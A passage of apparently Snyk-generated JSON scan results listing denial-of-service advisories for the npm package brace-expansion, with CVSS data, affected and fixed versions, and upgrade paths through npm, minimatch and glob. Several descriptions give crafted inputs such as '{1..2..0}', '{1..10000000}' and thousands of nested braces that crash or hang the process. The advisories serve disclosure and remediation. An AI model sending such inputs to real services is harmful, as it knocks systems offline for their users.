[], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": 